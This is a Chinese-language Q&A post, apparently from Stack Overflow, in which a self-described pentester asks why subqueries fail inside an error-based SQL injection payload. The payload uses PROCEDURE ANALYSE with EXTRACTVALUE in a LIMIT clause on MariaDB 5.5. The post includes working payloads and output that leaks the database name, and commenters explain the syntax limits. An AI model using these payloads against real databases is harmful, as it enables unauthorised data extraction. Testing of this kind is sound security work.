【发布时间】:2021-05-05 11:55:39
【问题描述】:
我是 pentester,我正在我的 MariaDB 5.5.65 服务器上的 limit 子句中测试基于错误的 sql 注入。有点麻烦。
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select '123',0x7178627171)),1)' at line 1
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,'123',0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkq123qxbqq'
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,database(),0x7178627171)),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkqinformation_schemaqxbqq'
我可以检索诸如 database() 和 version() 之类的信息,但不能使用 select。这是 MariaDB 的功能吗?我可以绕过这个还是不可能在 MariaDB 服务器的过程分析中使用 select?
【问题讨论】:
-
作为测试 SQL 注入的人,您需要了解函数上下文和过程上下文之间的区别......您不能只是将过程语句塞进只有表达式(包括函数调用)可用的地方。
-
mysql 根本没有
procedure子句,因此您的问题不适用于mysql。 -
@Shadow: dev.mysql.com/doc/refman/5.6/en/procedure-analyse.html 但是它在 5.7 中已被弃用并在 8.0 中被删除。 MariaDB 5.5 已经过时,所以它仍然存在。
标签: sql mariadb sql-injection procedure